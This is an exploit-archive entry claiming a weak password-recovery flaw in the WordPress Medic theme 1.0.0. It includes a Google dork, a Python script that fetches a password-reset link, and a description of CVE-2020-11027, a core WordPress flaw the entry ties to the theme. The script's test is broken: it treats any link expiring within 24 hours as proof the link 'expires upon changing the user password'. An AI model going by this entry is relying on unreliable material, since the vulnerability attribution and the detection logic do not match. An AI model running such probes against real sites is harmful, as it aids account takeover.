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WordPress Theme Medic 1.0.0 Weak Password Recovery Mechanism
WordPress Theme Medic theme version 1.0.0 suffers from having a weak password recovery mechanism for the forgot password flow.
# Exploit Title: WordPress Theme Medic v1.0.0 - Weak Password Recovery Mechanism for Forgotten Password# Dork: inurl:/wp-includes/class-wp-query.php# Date: 2023-06-19# Exploit Author: Amirhossein Bahramizadeh# Category : Webapps# Vendor Homepage: https://www.templatemonster.com/wordpress-themes/medic-health-and-medical-clinic-wordpress-theme-216233.html# Version: 1.0.0 (REQUIRED)# Tested on: Windows/Linux# CVE: CVE-2020-11027import requestsfrom bs4 import BeautifulSoupfrom datetime import datetime, timedelta# Set the WordPress site URL and the user email addresssite_url = 'https://example.com'user_email = '[email protected]'# Get the password reset link from the user email# You can use any email client or library to retrieve the email# In this example, we are assuming that the email is stored in a file named 'password_reset_email.html'with open('password_reset_email.html', 'r') as f: email = f.read() soup = BeautifulSoup(email, 'html.parser') reset_link = soup.find('a', href=True)['href'] print(f'Reset Link: {reset_link}')# Check if the password reset link expires upon changing the user passwordresponse = requests.get(reset_link)if response.status_code == 200: # Get the expiration date from the reset link HTML soup = BeautifulSoup(response.text, 'html.parser') expiration_date_str = soup.find('p', string=lambda s: 'Password reset link will expire on' in s).text.split('on ')[1] expiration_date = datetime.strptime(expiration_date_str, '%B %d, %Y %I:%M %p') print(f'Expiration Date: {expiration_date}') # Check if the expiration date is less than 24 hours from now if expiration_date < datetime.now() + timedelta(hours=24): print('Password reset link expires upon changing the user password.') else: print('Password reset link does not expire upon changing the user password.')else: print(f'Error fetching reset link: {response.status_code} {response.text}') exit()
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CVE-2020-11027: Version 5.4.1
In affected versions of WordPress, a password reset link emailed to a user does not expire upon changing the user password. Access would be needed to the email account of the user by a malicious party for successful execution. This has been patched in version 5.4.1, along with all the previously affected versions via a minor release (5.3.3, 5.2.6, 5.1.5, 5.0.9, 4.9.14, 4.8.13, 4.7.17, 4.6.18, 4.5.21, 4.4.22, 4.3.23, 4.2.27, 4.1.30, 4.0.30, 3.9.31, 3.8.33, 3.7.33).